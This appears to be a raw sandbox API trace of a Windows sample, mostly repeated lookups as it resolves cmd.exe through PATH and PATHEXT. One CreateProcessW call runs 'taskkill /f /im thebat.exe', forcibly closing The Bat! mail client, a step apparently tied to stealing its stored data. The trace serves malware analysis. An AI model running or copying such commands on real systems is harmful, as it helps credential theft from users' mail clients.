	[0047.489] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x125026e8 | out: lpFileInformation=0x125026e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.489] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.489] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x12502738 | out: lpFileInformation=0x12502738*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.489] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.490] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x12502788 | out: lpFileInformation=0x12502788*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.490] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.490] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x125027d8 | out: lpFileInformation=0x125027d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.490] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.490] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x12502828 | out: lpFileInformation=0x12502828*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.490] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.490] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x12502878 | out: lpFileInformation=0x12502878*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.490] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.490] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x125028c8 | out: lpFileInformation=0x125028c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.490] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.490] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x12502918 | out: lpFileInformation=0x12502918*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.490] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.490] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x12502968 | out: lpFileInformation=0x12502968*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.490] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.491] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x125029b8 | out: lpFileInformation=0x125029b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.491] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.491] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x124ee9c0, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0047.491] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12502a08 | out: lpFileInformation=0x12502a08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0047.491] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124eea90, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0047.491] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12502a58 | out: lpFileInformation=0x12502a58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0047.491] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0047.491] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0047.491] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0047.491] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0047.491] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0047.492] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0047.492] GetEnvironmentStringsW () returned 0x7eb348*
	[0047.492] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0047.492] GetCurrentProcess () returned 0xffffffff
	[0047.492] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1250c850, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1250c850*=0xc4) returned 1
	[0047.492] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1250c854, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1250c854*=0xc8) returned 1
	[0047.492] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1250c858, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1250c858*=0xac) returned 1
	[0047.492] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im thebat.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x12536000, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc4, hStdOutput=0xc8, hStdError=0xac), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im thebat.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xbc, hThread=0xb8, dwProcessId=0x988, dwThreadId=0x97c)) returned 1
	[0047.500] CloseHandle (hObject=0xb8) returned 1
	[0047.500] CloseHandle (hObject=0xac) returned 1
	[0047.500] CloseHandle (hObject=0xc8) returned 1
	[0047.500] CloseHandle (hObject=0xc4) returned 1
	[0047.500] CloseHandle (hObject=0xc0) returned 1
	[0047.500] CloseHandle (hObject=0xb4) returned 1
	[0047.500] CloseHandle (hObject=0xb0) returned 1
	[0047.500] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0
	[0047.871] SetEvent (hEvent=0xa8) returned 1
	[0047.871] GetExitCodeProcess (in: hProcess=0xbc, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0047.871] GetProcessTimes (in: hProcess=0xbc, lpCreationTime=0x12510aa0, lpExitTime=0x12510aa8, lpKernelTime=0x12510ab0, lpUserTime=0x12510ab8 | out: lpCreationTime=0x12510aa0, lpExitTime=0x12510aa8, lpKernelTime=0x12510ab0, lpUserTime=0x12510ab8) returned 1
	[0047.871] CloseHandle (hObject=0xbc) returned 1
	[0047.871] SetEvent (hEvent=0x80) returned 1
	[0047.871] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0047.883] SetEvent (hEvent=0x80) returned 1
	[0047.883] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124e6c30, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0047.883] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f6f08 | out: lpFileInformation=0x124f6f08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.883] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.883] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x124f6f58 | out: lpFileInformation=0x124f6f58*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.883] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.883] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f6fa8 | out: lpFileInformation=0x124f6fa8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.883] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.883] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x124f6ff8 | out: lpFileInformation=0x124f6ff8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.883] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.884] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x124f7048 | out: lpFileInformation=0x124f7048*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.884] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.884] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x124f7098 | out: lpFileInformation=0x124f7098*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.884] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.884] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x124f70e8 | out: lpFileInformation=0x124f70e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.884] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.884] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x124f7138 | out: lpFileInformation=0x124f7138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.884] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.884] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x124f7188 | out: lpFileInformation=0x124f7188*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.884] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.884] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x124f71d8 | out: lpFileInformation=0x124f71d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.884] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.884] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x124f7228 | out: lpFileInformation=0x124f7228*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.884] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.885] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x124f7278 | out: lpFileInformation=0x124f7278*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.885] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.885] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x124e6d00, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0047.885] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f72c8 | out: lpFileInformation=0x124f72c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0047.885] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124e6dd0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0047.885] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f7318 | out: lpFileInformation=0x124f7318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0047.885] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbc
